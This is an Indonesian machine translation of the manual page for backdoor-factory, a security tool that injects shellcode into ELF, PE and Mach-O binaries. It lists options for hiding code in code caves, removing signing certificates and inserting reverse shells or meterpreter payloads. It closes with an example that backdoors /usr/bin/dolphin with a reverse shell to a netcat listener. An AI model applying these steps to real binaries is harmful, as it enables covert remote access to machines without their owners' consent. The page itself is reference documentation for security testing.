backdoor-factory - menyuntikkan shellcode yang telah ditentukan sebelumnya atau yang ditentukan pengguna dalam binari
backdoor-factory [options]
backdoor-factory menambal binari yang dapat dieksekusi dengan kode shell yang diinginkan pengguna dan melanjutkan eksekusi normal dari keadaan yang telah ditambal.
Alat ini hanya untuk para profesional dan peneliti keamanan.
Alat ini tidak mendukung ELF yang dapat dipindahkan yang dapat dieksekusi (yaitu dikompilasi dengan opsi -fPIE, disarankan oleh persyaratan pengerasan Debian, lihat https://wiki.debian.org/Hardening)
Binari seperti ssh mungkin tidak di-cave dengan benar, seperti binari seperti lumba-lumba (pada saat halaman manual ini ditulis).
tampilkan pesan bantuan ini dan keluar
File ke pintu belakang
Muatan yang tersedia untuk digunakan. Gunakan 'tampilkan' untuk melihat muatan.
IP C2 untuk koneksi terbalik.
Port untuk menghubungkan kembali ke shell terbalik atau untuk mendengarkan shell pengikat
Pilih opsi ini jika Anda ingin menggunakan code cave jumping untuk lebih menyembunyikan kode shell Anda di biner.
Mewajibkan agar bagian baru ditambahkan ke exe (sukses lebih baik) tetapi lebih sedikit penghindaran
Kode shell yang disediakan pengguna, pastikan cocok dengan arsitektur yang Anda targetkan.
Bendera gua akan menemukan gua kode yang dapat digunakan untuk menyimpan kode shell. Ini akan mencetak ke semua gua kode dengan ukuran tertentu. Bendera -l dapat digunakan dengan pengaturan ini.
Untuk digunakan dengan -c untuk membantu menemukan gua kode dengan ukuran berbeda
Jalur file keluaran pintu belakang. Dir induk harus ada
Nama bagian baru harus kurang dari tujuh karakter
Ini adalah lokasi file yang ingin Anda backdoor. Anda dapat membuat direktori file backdooring lebih cepat dengan memaksa melampirkan codecave ke exe dengan menggunakan pengaturan -a.
Bendera ini mengubah bagian yang menampung codecave menjadi RWE. Terkadang ini perlu. Diaktifkan secara default. Jika dinonaktifkan, pintu belakang mungkin gagal.
Perintah ini mengubah pabrik pintu belakang dalam mekanisme berburu dan menyuntikkan kode shell. Edit pengaturan target di modul injektor.
Untuk digunakan dengan injektor, beri akhiran pada file asli untuk memudahkan pemulihan
Untuk digunakan dengan modul injektor. Perintah ini menghapus file asli. Tidak untuk digunakan dalam sistem produksi. (Penulis tidak bertanggung jawab atas penggunaan bodoh.)
Titik awal pada offset disk, dalam byte. Beberapa penulis ingin mengaburkan offset disk mereka untuk menghindari rekayasa balik, jika Anda menemukan salah satu file tersebut, gunakan flag ini, setelah Anda menemukan offset.
Untuk menentukan apakah file didukung oleh BDF sebelum melakukan backdoor file. Untuk digunakan sendiri atau dengan verbose. Pemeriksaan ini terjadi secara otomatis jika backdooring dicoba.
Penggunaan di masa mendatang, untuk membantu menentukan kode shell sekecil mungkin dalam file PE
Membunuh spanduk.
Untuk output informasi debug.
Hanya binari tipe ALL, x86, atau x64. Standar=SEMUA
Mengizinkan penimpaan pointer ke tabel sertifikat PE secara efektif menghapus sertifikat dari biner untuk semua maksud dan tujuan.
EKSPERIMENTAL Memeriksa binari PE untuk 'requestedExecutionLevel level="highestAvailable"'. Jika string ini disertakan dalam biner, string tersebut harus dijalankan sebagai sistem/admin. Jika tidak dalam mode Pemeriksaan Dukungan, ia akan mencoba menambal yang tersedia tertinggi ke dalam manifes jika ada entri Tingkat Eksekusi yang diminta.
Gunakan pengaturan ini jika Anda TIDAK ingin menambal DLL. Patch secara default.
Untuk format MACH-O. Jika file gemuk, fokuskan pada lengkungan mana yang akan ditambal. Standarnya adalah x64. Untuk memaksa x86 gunakan -F x86, untuk memaksa kedua lengkungan gunakan -F ALL.
Untuk muatan yang memiliki kemampuan mercusuar, atur waktu dalam detik
Metode patch untuk file PE, 'manual', 'otomatis', replace dan onionduke
Untuk bawang merah. Berikan biner yang Anda inginkan.
Default: JANGAN mendukung mesin lama XP, gunakan -X untuk mendukung XP. Secara default, biner akan macet di mesin XP (mis. Kotak pasir)
EKSPERIMENTAL Secara default Tabel Direktori Impor baru dibuat di bagian baru, dengan memanggil bendera ini akan diletakkan di gua kode. Ini dapat menyebabkan kegagalan biner dalam beberapa kasus. Uji pada binari target terlebih dahulu.
Bagi mereka yang memiliki sertifikat codesigning yang hanya ingin menandatangani binari PE. Beri nama kunci penandatanganan dan kunci pribadi Anda masing-masing signaturecert.cer dan signingPrivateKey.pem di direktori certs terserah Anda untuk mendapatkan sertifikat penandatanganan.
Untuk mengeksekusi skrip preprocessing di direktori preprocess
Ada berbagai shellcode yang telah ditentukan di backdoor-factory. Ketersediaannya bergantung pada jenis target (ELF32, ELF64, PE32...). Daftar shellcodes didefinisikan di bawah ini.
perlu: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh
perlu: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh
perlu: suar, host jarak jauh dan port yang harus disetel izin: akses shell jarak jauh
perlu: kode shell yang ditentukan pengguna siap menyuntikkan izin: bergantung pada kode shell
perlu: izin:
kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh
kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: Menyuntikkan DLL server meterpreter melalui muatan Injeksi Dll Reflektif
kebutuhan: host jarak jauh dan port yang akan disetel izin: meterpreter melalui transpor https
kebutuhan: kode shell yang ditentukan pengguna siap menyuntikkan izin: bergantung pada kode shell
kebutuhan: host jarak jauh dan port yang akan diatur izin:
kebutuhan: host jarak jauh dan port yang akan diatur izin:
kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: Menyuntikkan DLL server meterpreter melalui muatan Injeksi Dll Reflektif
kebutuhan: kode shell yang ditentukan pengguna siap menyuntikkan izin: bergantung pada kode shell
kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh
kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh
kebutuhan: suar, host jarak jauh dan port yang akan disetel izin: akses shell jarak jauh
kebutuhan: kode shell yang ditentukan pengguna siap menyuntikkan izin: bergantung pada kode shell
Contoh cavecoding biner ELF, dengan mengintegrasikan akses shell jarak jauh melalui pendengar TCP jarak jauh (mis. netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcpDi host di belakang IP 172.16.0.15, jalankan netcat dalam mode mendengarkan:
netcat -l 172.16.0.15 8080Pada target, mulai biner backdoor:
./backdoored/dolphinSekarang, di host 172.16.0.15, gunakan saja shell Anda.
Mei 2017, Awalnya disusun oleh Philippe Thierry (phil at reseau-libre dot com)